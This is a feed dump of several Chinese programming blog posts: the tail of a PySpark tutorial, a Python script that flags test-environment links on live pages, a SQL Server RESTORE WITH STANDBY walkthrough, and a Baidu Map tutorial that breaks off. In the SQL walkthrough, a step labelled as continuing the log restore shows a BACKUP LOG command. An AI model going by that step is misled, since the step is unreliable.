#CCCCCC;padding:10px;">def f(x):<br/> a=x.split(' ')<br/> b=a[8].split(':')<br/> return int(b[0])<br/><br/>words.map(f).collect()<br/></div><p><span style="font-family: 微软雅黑; font-size: 12pt; line-height: 1.5;"><img src="http://images.cnitblog.com/i/572714/201404/182018576827275.png" alt="" /></span></p><p><span style="font-family: 微软雅黑; font-size: 12pt; line-height: 1.5;">一样的拆完之后,它返回了一个列表,我们稍加改动一下,把耗时大于5100的记录展示出来,它就变成了。</span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">def f(x):<br/> a=x.split(' ')<br/> b=a[8].split(':')<br/> if(int(b[0])&gt;5100):<br/> print x<br/> return x <br/><br/>words.map(f).collect()</div><p><span style="font-family: 微软雅黑; font-size: 12pt;"><img src="http://images.cnitblog.com/i/572714/201404/182019345729704.png" alt="" width="873" height="231" /></span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">找日志的活就结束了,前面我们还说到了一个broadcast变量,官网给的例子太短了,让人理解困难。我来把它重新改造一下。 </span></p><p><span style="font-family: 微软雅黑; font-size: 12pt;">bv = sc.broadcast([13,23,33]) 设置了broadcast,然后就可以在自定义函数中自己饮用了。 </span></p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">def f(x):<br/> a=x.split(' ')<br/> b=a[8].split(':')<br/> if(int(b[0])&gt;5100):<br/> print x<br/> return int(b[0])+int(bv.value[2]) <br/><br/>words.map(f).collect()</div><p><span style="font-family: 微软雅黑; font-size: 12pt; line-height: 1.5;"><img src="http://images.cnitblog.com/i/572714/201404/182020165579945.png" alt="" /></span></p><p><span style="font-family: 黑体; font-size: 16px;">我们把BV的值再改一次改成[100,200,300]看会发生什么</span></p><p><span><img src="http://images.cnitblog.com/i/572714/201404/182021306352948.png" alt="" /></span></p><p><span style="font-family: 微软雅黑; font-size: 12pt; line-height: 1.5;">OK,这次为此,Spark应用大门就此彻底打开了。当然这个spark的世界很大很大,包括很多?丝逆袭高富帅的ML类,此文仅仅沧海一藕。如果想深入进去,涉及的知识面可谓覆盖了几乎整个时下流行的计算机体系的边边角角。</span></p><p>&nbsp;</p><img src="http://counter.cnblogs.com/blog/rss/3674005" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/zacard-orc/p/3674005.html" target="_blank">Spark入门级小玩</a>,转载请注明。</p>http://www.cnblogs.com/lingiu/p/3673983.html一个检测网页是否有日常链接的python脚本 - 半夜乱弹琴在大的互联网公司干技术的基本都会碰到测试、预发布、线上这种多套环境的,来实现测试和线上正式环境的隔离,这种情况下,就难免会碰到秀逗了把测试的链接发布到线上的情况,一般这种都是通过一些测试的检查工具来检查链接来规避风险的。前两天跟了一个问题也是这个情况,开发疏忽把日常url发布到线上了。但是测试那.....2014-04-18T11:45:00Z2014-04-18T11:45:00Z半夜乱弹琴http://www.cnblogs.com/lingiu/<p>&nbsp; &nbsp; &nbsp;在大的互联网公司干技术的基本都会碰到测试、预发布、线上这种多套环境的,来实现测试和线上正式环境的隔离,这种情况下,就难免会碰到秀逗了把测试的链接发布到线上的情况,一般这种都是通过一些测试的检查工具来检查链接来规避风险的。前两天跟了一个问题也是这个情况,开发疏忽把日常url发布到线上了。但是测试那边没有自动化的监控工具,导致没有及时发现,由于最近正好在看python,后来处理完回家就想用python做个简单的监控。</p><p>&nbsp; &nbsp; &nbsp;大略思路是:用python写一个脚本来分析网页里的所有url,看是否包含日常的链接,然后把脚本放到crontab里跑定时任务,10分钟跑一次检查。如果发现非法链接,就发告警邮件给相关人员。脚本代码100行左右,比较好理解,贴上代码。</p><p>  本来想用beautifulsoup,不过考虑到安装三方库麻烦,所以还是用自带的sgmllib来,不需要关心库。发邮件函数没有实现,根据各自的smtp服务器实现以下即可。</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #008080;"> 1</span> <span style="color: #008000;">#</span><span style="color: #008000;">!/usr/bin/env python</span><br/><span style="color: #008080;"> 2</span> <span style="color: #008000;">#</span><span style="color: #008000;">coding:UTF-8</span><br/><span style="color: #008080;"> 3</span> <br/><span style="color: #008080;"> 4</span> <span style="color: #0000ff;">import</span><span style="color: #000000;"> urllib2<br/></span><span style="color: #008080;"> 5</span> <span style="color: #0000ff;">from</span> sgmllib <span style="color: #0000ff;">import</span><span style="color: #000000;"> SGMLParser<br/></span><span style="color: #008080;"> 6</span> <span style="color: #0000ff;">import</span><span style="color: #000000;"> smtplib<br/></span><span style="color: #008080;"> 7</span> <span style="color: #0000ff;">import</span><span style="color: #000000;"> time<br/></span><span style="color: #008080;"> 8</span> <span style="color: #008000;">#</span><span style="color: #008000;">from email.mime.text import MIMEText</span><br/><span style="color: #008080;"> 9</span> <span style="color: #008000;">#</span><span style="color: #008000;">from bs4 import BeautifulSoup</span><br/><span style="color: #008080;">10</span> <span style="color: #008000;">#</span><span style="color: #008000;">import re</span><br/><span style="color: #008080;">11</span> <br/><span style="color: #008080;">12</span> <span style="color: #0000ff;">class</span><span style="color: #000000;"> UrlParser(SGMLParser):<br/></span><span style="color: #008080;">13</span> urls =<span style="color: #000000;"> []<br/></span><span style="color: #008080;">14</span> <span style="color: #0000ff;">def</span><span style="color: #000000;"> do_a(self,attrs):<br/></span><span style="color: #008080;">15</span> <span style="color: #800000;">'''</span><span style="color: #800000;">parse tag a</span><span style="color: #800000;">'''</span><br/><span style="color: #008080;">16</span> <span style="color: #0000ff;">for</span> name,value <span style="color: #0000ff;">in</span><span style="color: #000000;"> attrs:<br/></span><span style="color: #008080;">17</span> <span style="color: #0000ff;">if</span> name==<span style="color: #800000;">'</span><span style="color: #800000;">href</span><span style="color: #800000;">'</span><span style="color: #000000;">:<br/></span><span style="color: #008080;">18</span> <span style="color: #000000;"> self.urls.append(value)<br/></span><span style="color: #008080;">19</span> <span style="color: #0000ff;">else</span><span style="color: #000000;">:<br/></span><span style="color: #008080;">20</span> <span style="color: #0000ff;">continue</span><br/><span style="color: #008080;">21</span> <br/><span style="color: #008080;">22</span> <span style="color: #0000ff;">def</span><span style="color: #000000;"> do_link(self,attrs):<br/></span><span style="color: #008080;">23</span> <span style="color: #800000;">'''</span><span style="color: #800000;">parse tag link</span><span style="color: #800000;">'''</span><br/><span style="color: #008080;">24</span> <span style="color: #0000ff;">for</span> name,value <span style="color: #0000ff;">in</span><span style="color: #000000;"> attrs:<br/></span><span style="color: #008080;">25</span> <span style="color: #0000ff;">if</span> name==<span style="color: #800000;">'</span><span style="color: #800000;">href</span><span style="color: #800000;">'</span><span style="color: #000000;">:<br/></span><span style="color: #008080;">26</span> <span style="color: #000000;"> self.urls.append(value);<br/></span><span style="color: #008080;">27</span> <span style="color: #0000ff;">else</span><span style="color: #000000;">:<br/></span><span style="color: #008080;">28</span> <span style="color: #0000ff;">continue</span><br/><span style="color: #008080;">29</span> <br/><span style="color: #008080;">30</span> <span style="color: #0000ff;">def</span><span style="color: #000000;"> checkUrl(checkurl, isDetail):<br/></span><span style="color: #008080;">31</span> <span style="color: #800000;">'''</span><span style="color: #800000;">检查checkurl对应的网页源码是否有非法url</span><span style="color: #800000;">'''</span><br/><span style="color: #008080;">32</span> parser =<span style="color: #000000;"> UrlParser()<br/></span><span style="color: #008080;">33</span> page =<span style="color: #000000;"> urllib2.urlopen(checkurl)<br/></span><span style="color: #008080;">34</span> content =<span style="color: #000000;"> page.read()<br/></span><span style="color: #008080;">35</span> <span style="color: #008000;">#</span><span style="color: #008000;">content = unicode(content, "gb2312").encode("utf8")</span><br/><span style="color: #008080;">36</span> <span style="color: #000000;"> parser.feed(content)<br/></span><span style="color: #008080;">37</span> urls =<span style="color: #000000;"> parser.urls<br/></span><span style="color: #008080;">38</span> <br/><span style="color: #008080;">39</span> dailyUrls =<span style="color: #000000;"> []<br/></span><span style="color: #008080;">40</span> detailUrl = <span style="color: #800000;">""</span><br/><span style="color: #008080;">41</span> <span style="color: #0000ff;">for</span> url <span style="color: #0000ff;">in</span><span style="color: #000000;"> urls:<br/></span><span style="color: #008080;">42</span> <span style="color: #0000ff;">if</span> <span style="color: #800000;">'</span><span style="color: #800000;">daily</span><span style="color: #800000;">'</span> <span style="color: #0000ff;">in</span><span style="color: #000000;"> url:<br/></span><span style="color: #008080;">43</span> <span style="color: #000000;"> dailyUrls.append(url);<br/></span><span style="color: #008080;">44</span> <span style="color: #0000ff;">if</span> <span style="color: #0000ff;">not</span> detailUrl <span style="color: #0000ff;">and</span> <span style="color: #0000ff;">not</span> isDetail <span style="color: #0000ff;">and</span> <span style="color: #800000;">'</span><span style="color: #800000;">detail.ju.taobao.com</span><span style="color: #800000;">'</span> <span style="color: #0000ff;">in</span><span style="color: #000000;"> url:<br/></span><span style="color: #008080;">45</span> detailUrl =<span style="color: #000000;"> url<br/></span><span style="color: #008080;">46</span> <br/><span style="color: #008080;">47</span> <span style="color: #000000;"> page.close()<br/></span><span style="color: #008080;">48</span> <span style="color: #000000;"> parser.close()<br/></span><span style="color: #008080;">49</span> <br/><span style="color: #008080;">50</span> <span style="color: #0000ff;">if</span><span style="color: #000000;"> isDetail:<br/></span><span style="color: #008080;">51</span> <span style="color: #0000ff;">return</span><span style="color: #000000;"> dailyUrls<br/></span><span style="color: #008080;">52</span> <span style="color: #0000ff;">else</span><span style="color: #000000;">:<br/></span><span style="color: #008080;">53</span> <span style="color: #0000ff;">return</span><span style="color: #000000;"> dailyUrls,detailUrl<br/></span><span style="color: #008080;">54</span> <br/><span style="color: #008080;">55</span> <span style="color: #0000ff;">def</span><span style="color: #000000;"> sendMail():<br/></span><span style="color: #008080;">56</span> <span style="color: #800000;">'''</span><span style="color: #800000;">发送提醒邮件</span><span style="color: #800000;">'''</span><br/><span style="color: #008080;">57</span> <span style="color: #0000ff;">pass</span><br/><span style="color: #008080;">58</span> <br/><span style="color: #008080;">59</span> <span style="color: #0000ff;">def</span><span style="color: #000000;"> log(content):<br/></span><span style="color: #008080;">60</span> <span style="color: #800000;">'''</span><span style="color: #800000;">记录执行日志</span><span style="color: #800000;">'''</span><br/><span style="color: #008080;">61</span> logFile = <span style="color: #800000;">'</span><span style="color: #800000;">checkdailyurl.log</span><span style="color: #800000;">'</span><br/><span style="color: #008080;">62</span> f = open(logFile,<span style="color: #800000;">'</span><span style="color: #800000;">a</span><span style="color: #800000;">'</span><span style="color: #000000;">)<br/></span><span style="color: #008080;">63</span> f.write(str(time.strftime(<span style="color: #800000;">"</span><span style="color: #800000;">%Y-%m-%d %X</span><span style="color: #800000;">"</span>,time.localtime()))+content+<span style="color: #800000;">'</span><span style="color: #800000;">\n</span><span style="color: #800000;">'</span><span style="color: #000000;">)<br/></span><span style="color: #008080;">64</span> <span style="color: #000000;"> f.flush()<br/></span><span style="color: #008080;">65</span> <span style="color: #000000;"> f.close()<br/></span><span style="color: #008080;">66</span> <br/><span style="color: #008080;">67</span> <span style="color: #0000ff;">def</span><span style="color: #000000;"> main():<br/></span><span style="color: #008080;">68</span> <span style="color: #800000;">'''</span><span style="color: #800000;">入口方法</span><span style="color: #800000;">'''</span><br/><span style="color: #008080;">69</span> <span style="color: #008000;">#</span><span style="color: #008000;">检查ju</span><br/><span style="color: #008080;">70</span> url = <span style="color: #800000;">"</span><span style="color: #800000;">XXX.xxx.com</span><span style="color: #800000;">"</span><br/><span style="color: #008080;">71</span> <br/><span style="color: #008080;">72</span> dailyUrls,detailUrl=<span style="color: #000000;">checkUrl(url, False)<br/></span><span style="color: #008080;">73</span> <span style="color: #0000ff;">if</span><span style="color: #000000;"> dailyUrls:<br/></span><span style="color: #008080;">74</span> <span style="color: #008000;">#</span><span style="color: #008000;">检查到daily链接,发送告警邮件</span><br/><span style="color: #008080;">75</span> <span style="color: #000000;"> sendMail()<br/></span><span style="color: #008080;">76</span> log(<span style="color: #800000;">'</span><span style="color: #800000;">check: find daily url</span><span style="color: #800000;">'</span><span style="color: #000000;">)<br/></span><span style="color: #008080;">77</span> <span style="color: #0000ff;">else</span><span style="color: #000000;">:<br/></span><span style="color: #008080;">78</span> <span style="color: #008000;">#</span><span style="color: #008000;">没检查到daily链接,不处理</span><br/><span style="color: #008080;">79</span> log(<span style="color: #800000;">'</span><span style="color: #800000;">check: not find daily url</span><span style="color: #800000;">'</span><span style="color: #000000;">)<br/></span><span style="color: #008080;">80</span> <br/><span style="color: #008080;">81</span> <span style="color: #008000;">#</span><span style="color: #008000;">检查judetail</span><br/><span style="color: #008080;">82</span> dailyUrls=<span style="color: #000000;">checkUrl(detailUrl, True)<br/></span><span style="color: #008080;">83</span> <span style="color: #0000ff;">if</span><span style="color: #000000;"> dailyUrls:<br/></span><span style="color: #008080;">84</span> <span style="color: #008000;">#</span><span style="color: #008000;">检查到daily链接,发送告警邮件</span><br/><span style="color: #008080;">85</span> log(<span style="color: #800000;">'</span><span style="color: #800000;">check: find daily url</span><span style="color: #800000;">'</span><span style="color: #000000;">)<br/></span><span style="color: #008080;">86</span> <span style="color: #000000;"> sendMail()<br/></span><span style="color: #008080;">87</span> <span style="color: #0000ff;">else</span><span style="color: #000000;">:<br/></span><span style="color: #008080;">88</span> <span style="color: #008000;">#</span><span style="color: #008000;">没检查到daily链接,不处理</span><br/><span style="color: #008080;">89</span> log(<span style="color: #800000;">'</span><span style="color: #800000;">check: not find daily url</span><span style="color: #800000;">'</span><span style="color: #000000;">)<br/></span><span style="color: #008080;">90</span> <br/><span style="color: #008080;">91</span> <span style="color: #0000ff;">if</span> <span style="color: #800080;">__name__</span> == <span style="color: #800000;">'</span><span style="color: #800000;">__main__</span><span style="color: #800000;">'</span><span style="color: #000000;">:<br/></span><span style="color: #008080;">92</span> main()</div><p>&nbsp;</p><img src="http://counter.cnblogs.com/blog/rss/3673983" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/lingiu/p/3673983.html" target="_blank">一个检测网页是否有日常链接的python脚本</a>,转载请注明。</p>http://www.cnblogs.com/TeyGao/p/3673965.htmlBackup--还原选项之STANDBY - 笑东风很多DBA对还原时制定RECOVERY 与 NORECOVERY选项都很熟悉,但是对于STANDBY就有点茫然了,今天一起来学习下吧。--===================================================================MSDN如下说:STANDB...2014-04-18T11:25:00Z2014-04-18T11:25:00Z笑东风http://www.cnblogs.com/TeyGao/<p>很多DBA对还原时制定RECOVERY 与 NORECOVERY选项都很熟悉,但是对于STANDBY就有点茫然了,今天一起来学习下吧。</p><p>--===================================================================</p><p>MSDN如下说:</p><p>STANDBY =standby_file_name<br />指定一个允许撤消恢复效果的备用文件。<br />备用文件用于为 RESTORE WITH STANDBY 的撤消过程中修改的页面保留一个&ldquo;写入时副本&rdquo;预映像。备用文件允许用户在事务日志还原期间以只读方式访问数据库,并允许数据库用于备用服务器情形,或用于需要在日志还原操作之间检查数据库的特殊恢复情形。执行完 RESTORE WITH STANDBY 操作之后,下一个 RESTORE 操作会自动删除撤消文件。如果在下一个 RESTORE 操作之前手动删除了这个备用文件,则必须重新还原整个数据库。当数据库处于 STANDBY 状态时,您应将这个备用文件视为和任何其他数据库文件同样重要。该文件与其他数据库文件不同,数据库引擎仅在活动还原操作过程中持续打开该文件。<br />给定备用文件的大小要求取决于由还原操作过程中未提交的事务所导致的撤消操作数。</p><p>链接地址:<a href="http://msdn.microsoft.com/zh-cn/library/ms178615(v=sql.105).aspx">http://msdn.microsoft.com/zh-cn/library/ms178615(v=sql.105).aspx</a></p><p>--===================================================================</p><p>按我的理解来讲:就是在还原时,将未提交的事务写入到一个&ldquo;备用文件&rdquo;中,然后回滚未提交事务,保证数据一致性,将数据库设置为&ldquo;备用/只读&rdquo;状态,使用户可以访问数据库,并能在后续继续使用日志备份来还原数据库。</p><p>日志传送中备用节点可读便是使用这种方式</p><p>--==================================================================</p><p>让我们实验学习一下</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #008080;">--</span><span style="color: #008080;">=============================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">创建数据库</span><br/><span style="color: #0000ff;">CREATE</span> <span style="color: #0000ff;">DATABASE</span><span style="color: #000000;"> TestDB3<br/></span><span style="color: #0000ff;">GO</span><br/><span style="color: #0000ff;">USE</span><span style="color: #000000;"> TestDB3<br/></span><span style="color: #0000ff;">GO</span><br/><span style="color: #008080;">--</span><span style="color: #008080;">=============================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">创建测试表</span><br/><span style="color: #0000ff;">SELECT</span> <span style="color: #808080;">*</span> <span style="color: #0000ff;">INTO</span><span style="color: #000000;"> TB01 <br/></span><span style="color: #0000ff;">FROM</span><span style="color: #000000;"> sys.all_columns<br/></span><span style="color: #0000ff;">WHERE</span> <span style="color: #800000; font-weight: bold;">1</span><span style="color: #808080;">&lt;&gt;</span><span style="color: #800000; font-weight: bold;">1</span><br/><br/><span style="color: #0000ff;">GO</span><br/><span style="color: #008080;">--</span><span style="color: #008080;">==============================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">创建完整备份</span><br/><span style="color: #0000ff;">BACKUP</span> <span style="color: #0000ff;">DATABASE</span> TestDB3 <span style="color: #0000ff;">TO</span> <span style="color: #0000ff;">DISK</span> <span style="color: #808080;">=</span><span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\TestDB3_F1.BAK</span><span style="color: #ff0000;">'</span><br/><br/><span style="color: #008080;">--</span><span style="color: #008080;">==============================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">向测试表中插入100条数据并提交事务</span><br/><span style="color: #0000ff;">INSERT</span> <span style="color: #0000ff;">INTO</span><span style="color: #000000;"> TB01<br/></span><span style="color: #0000ff;">SELECT</span> <span style="color: #0000ff;">TOP</span>(<span style="color: #800000; font-weight: bold;">100</span>) <span style="color: #808080;">*</span> <span style="color: #0000ff;">FROM</span><span style="color: #000000;"> sys.all_columns<br/><br/><br/></span><span style="color: #008080;">--</span><span style="color: #008080;">================================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">新开向测试表插入1000条数据,暂时不提交</span><br/><span style="color: #0000ff;">BEGIN</span> <span style="color: #0000ff;">TRAN</span> <br/><br/><span style="color: #0000ff;">DECLARE</span> <span style="color: #008000;">@ID</span> <span style="color: #0000ff;">INT</span> <br/><span style="color: #0000ff;">SET</span> <span style="color: #008000;">@ID</span><span style="color: #808080;">=</span><span style="color: #800000; font-weight: bold;">10</span><br/><span style="color: #0000ff;">WHILE</span>(<span style="color: #008000;">@ID</span><span style="color: #808080;">&gt;</span><span style="color: #800000; font-weight: bold;">0</span><span style="color: #000000;">)<br/></span><span style="color: #0000ff;">BEGIN</span><br/><span style="color: #0000ff;">INSERT</span> <span style="color: #0000ff;">INTO</span><span style="color: #000000;"> TB01<br/></span><span style="color: #0000ff;">SELECT</span> <span style="color: #0000ff;">TOP</span>(<span style="color: #800000; font-weight: bold;">100</span>) <span style="color: #808080;">*</span> <span style="color: #0000ff;">FROM</span><span style="color: #000000;"> sys.all_columns<br/></span><span style="color: #0000ff;">SET</span> <span style="color: #008000;">@ID</span><span style="color: #808080;">=</span><span style="color: #008000;">@ID</span><span style="color: #808080;">-</span><span style="color: #800000; font-weight: bold;">1</span><br/><span style="color: #0000ff;">END</span></div><p>我们再开启一个回话,做第一次日志备份</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #008080;">--</span><span style="color: #008080;">===========================================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">第一次日志备份,包含一个100条插入的已提交事务</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">和一个1000条插入的未提交事务</span><br/><span style="color: #0000ff;">BACKUP</span> <span style="color: #ff00ff;">LOG</span> TestDB3 <span style="color: #0000ff;">TO</span> <span style="color: #0000ff;">DISK</span> <span style="color: #808080;">=</span><span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\TestDB3_L1.BAK</span><span style="color: #ff0000;">'</span></div><p>然后回到第一个回话,提交事务并做第二日志备份</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #008080;">--</span><span style="color: #008080;">===========================================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">提交事务并做第二次日志备份,包含一个100条插入</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">的已提交事务和一个1000条插入的已提交事务</span><br/><span style="color: #0000ff;">BACKUP</span> <span style="color: #ff00ff;">LOG</span> TestDB3 <span style="color: #0000ff;">TO</span> <span style="color: #0000ff;">DISK</span> <span style="color: #808080;">=</span><span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\TestDB3_L2.BAK</span><span style="color: #ff0000;">'</span></div><p>此时我们有一个完整备份和两个日志备份,让我们来还原数据库</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #008080;">--</span><span style="color: #008080;">========================================================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">使用完整备份来还原数据库[TestDB4],并指定NORECOVERY来使得</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">数据库处于"正在还原"状态</span><br/><span style="color: #0000ff;">RESTORE</span> <span style="color: #0000ff;">DATABASE</span> <span style="color: #ff0000;">[</span><span style="color: #ff0000;">TestDB4</span><span style="color: #ff0000;">]</span> <span style="color: #0000ff;">FROM</span> <span style="color: #0000ff;">DISK</span> <span style="color: #808080;">=</span> N<span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\TestDB3_F1.BAK</span><span style="color: #ff0000;">'</span> <br/><span style="color: #0000ff;">WITH</span> <span style="color: #0000ff;">FILE</span> <span style="color: #808080;">=</span> <span style="color: #800000; font-weight: bold;">1</span>, MOVE N<span style="color: #ff0000;">'</span><span style="color: #ff0000;">TestDB3</span><span style="color: #ff0000;">'</span> <span style="color: #0000ff;">TO</span> N<span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\DB\TestDB4.mdf</span><span style="color: #ff0000;">'</span><span style="color: #000000;">, <br/>MOVE N</span><span style="color: #ff0000;">'</span><span style="color: #ff0000;">TestDB3_log</span><span style="color: #ff0000;">'</span> <span style="color: #0000ff;">TO</span> N<span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\DB\TestDB4_1.LDF</span><span style="color: #ff0000;">'</span><span style="color: #000000;">, <br/>NORECOVERY, NOUNLOAD, STATS </span><span style="color: #808080;">=</span> <span style="color: #800000; font-weight: bold;">10</span><br/><span style="color: #0000ff;">GO</span><br/><span style="color: #008080;">--</span><span style="color: #008080;">======================================================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">使用日志备份来还原,使用STANDBY选项来使得数据库处于"备用/只读"</span><br/><span style="color: #0000ff;">RESTORE</span> <span style="color: #ff00ff;">LOG</span> <span style="color: #ff0000;">[</span><span style="color: #ff0000;">TestDB4</span><span style="color: #ff0000;">]</span> <span style="color: #0000ff;">FROM</span> <span style="color: #0000ff;">DISK</span> <span style="color: #808080;">=</span> N<span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\TestDB3_L1.BAK</span><span style="color: #ff0000;">'</span> <br/><span style="color: #0000ff;">WITH</span> STANDBY <span style="color: #808080;">=</span> N<span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\ROLLBACK_UNDO_TestDB4.BAK</span><span style="color: #ff0000;">'</span><span style="color: #000000;">, <br/>NOUNLOAD, STATS </span><span style="color: #808080;">=</span> <span style="color: #800000; font-weight: bold;">10</span></div><p>此时数据库可以访问,查询表会发现表中有100条数据,恰好是第一个提交事务的数据,第二个未提交事务插入的1000条数据无法查询到。<br />再来查看STANDBY指定的文件</p><p><img src="http://images.cnitblog.com/i/174228/201404/181843161664574.png" alt="" /></p><p>继续还原日志</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #008080;">--</span><span style="color: #008080;">===============================================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">继续还原日志备份</span><br/><span style="color: #0000ff;">BACKUP</span> <span style="color: #ff00ff;">LOG</span> TestDB3 <span style="color: #0000ff;">TO</span> <span style="color: #0000ff;">DISK</span> <span style="color: #808080;">=</span><span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\TestDB3_L1.BAK</span><span style="color: #ff0000;">'</span></div><p>会发现可以正常还原!</p><p>我们重做上面还原步骤,但在最后一次还原日志之前,把STANDBY指定的文件删除掉,会有以下错误提示:</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">消息 <span style="color: #800000; font-weight: bold;">3441</span>,级别 <span style="color: #800000; font-weight: bold;">17</span>,状态 <span style="color: #800000; font-weight: bold;">1</span>,第 <span style="color: #800000; font-weight: bold;">3</span><span style="color: #000000;"> 行<br/>在启动备用数据库 </span><span style="color: #ff0000;">'</span><span style="color: #ff0000;">TestDB4</span><span style="color: #ff0000;">'</span> (数据库 ID 为 <span style="color: #800000; font-weight: bold;">10</span>)的过程中,<span style="color: #0000ff;">RESTORE</span> 语句无法访问它的备用文件(<span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\ROLLBACK_UNDO_TestDB4.BAK</span><span style="color: #ff0000;">'</span>)。<br />操作系统错误为 <span style="color: #ff0000;">'</span><span style="color: #ff0000;">2(系统找不到指定的文件。)</span><span style="color: #ff0000;">'</span>。诊断该操作系统错误,并更正此问题,然后重试启动操作。</div><p>PS:在生产环境,不要轻易删除STANDBY指定的文件哦,要不你就&ldquo;哭吧哭吧不是罪啦&rdquo;</p><p>--============================================================================================</p><p>让我们继续试验</p><p>对于&ldquo;备用/只读&rdquo;的数据库,我们使用使用RESTORE方式来将其修改为&ldquo;正在还原&rdquo;状态</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #008080;">--</span><span style="color: #008080;">=========================================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">使用 RESTORE 来将数据库重置为"正在还原状态"</span><br/><span style="color: #0000ff;">RESTORE</span> <span style="color: #0000ff;">DATABASE</span> TestDB4 <span style="color: #0000ff;">WITH</span> NORECOVERY</div><p>而且还可以继续使用后续日志备份来还原,证明上面语句使用STANDBY指定的文件来还原了数据库。</p><p>PS:当数据库被还原到&ldquo;正在还原&rdquo;状态后,STANDBY指定的文件会被默认删除掉哦。</p><p>既然&ldquo;备用/只读&rdquo;状态可以利用还原来转变成&ldquo;正在还原&rdquo;状态,那么&ldquo;正在还原&rdquo;状态是不是也可以使用还原来转变成&ldquo;备用/只读&rdquo;呢?答案是肯定滴</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"><span style="color: #008080;">--</span><span style="color: #008080;">============================================</span><span style="color: #008080;"><br/>--</span><span style="color: #008080;">使用RESTORE 来将数据库从"正在还原"状态转变成"备用/只读"状态</span><br/><span style="color: #0000ff;">RESTORE</span> <span style="color: #0000ff;">DATABASE</span><span style="color: #000000;"> TestDB4 <br/></span><span style="color: #0000ff;">WITH</span> STANDBY <span style="color: #808080;">=</span> N<span style="color: #ff0000;">'</span><span style="color: #ff0000;">D:\ROLLBACK_UNDO_TestDB4.BAK</span><span style="color: #ff0000;">'</span></div><p>--============================================================================================</p><p>打完收工,妹子镇贴</p><p><img src="http://images.cnitblog.com/i/174228/201404/181922560889061.jpg" alt="" /></p><p>&nbsp;</p><p>PS: 谁有奶茶妹高清大图,给小弟我传一份,我放到下个贴中。。</p><p>下班灰家,诸位周末快乐</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><img src="http://counter.cnblogs.com/blog/rss/3673965" width="1" height="1" alt=""/><br/><p>本文链接:<a href="http://www.cnblogs.com/TeyGao/p/3673965.html" target="_blank">Backup--还原选项之STANDBY</a>,转载请注明。</p>http://www.cnblogs.com/AaronYang/p/3673933.htmlaaronyang的百度地图API之LBS云[把数据丰富显示1/3] - AaronYang中国的IT 需要无私分享和贡献的人,一起努力本篇博客来自地址:http://www.cnblogs.com/AaronYang/p/3673933.html,请支持原创,未经允许不许转载一、第一步 默认我们显示我们leverTerminal表中所有信息,使用云麻点图模式显示1.1我们添加一个新的页面...2014-04-18T10:52:00Z2014-04-18T10:52:00ZAaronYanghttp://www.cnblogs.com/AaronYang/<p>中国的IT 需要无私分享和贡献的人,一起努力</p><hr /><p>&nbsp;</p><p>本篇博客来自地址:<a href="http://www.cnblogs.com/AaronYang/p/3673933.html">http://www.cnblogs.com/AaronYang/p/3673933.html</a>,请支持原创,未经允许不许转载</p><p><span style="line-height: 1.5;">一、第一步</span></p><p>&nbsp; <span style="color: #3366ff;"><strong>默认我们显示我们leverTerminal表中所有信息,使用云麻点图模式显示</strong></span></p><p>&nbsp;1.1我们添加一个新的页面MaDian</p><div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;">&lt;h1&gt;第三课 POI数据检索-麻点地图&lt;/h1&gt;<br/><span style="color: #000000;">@section BaiduApi{<br/> </span>&lt;script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&amp;ak=你的ak"&gt;&lt;/script&gt;<br/><span style="color: #000000;">}<br/></span>&lt;br /&gt;<br/>&lt;div&gt;<span style="color: #000000;"><br/> 搜索条件<br/></span>&lt;/div&gt;<br/>&lt;br/&gt;<br/>&lt;div id="container" style="width:100%;height:500px;"&gt;&lt;/div&gt;<br/><br/><br/>&lt;script type="text/javascript"&gt;<br/> <span style="color: #0000ff;">var</span> map = <span style="color: #0000ff;">new</span> BMap.Map("container"); <span style="color: #008000;">//</span><span style="color: #008000;"> 创建地图实例</span><br/> map.centerAndZoom(<span style="color: #0000ff;">new</span> BMap.Point(117.234963, 31.858815), 15);<span style="color: #008000;">//</span><span style="color: #008000;"> 初始化地图,设置中心点坐标和地图级别 </span><br/><span style="color: #000000;"> map.enableScrollWheelZoom();<br/> map.addControl(</span><span style="color: #0000ff;">new</span> 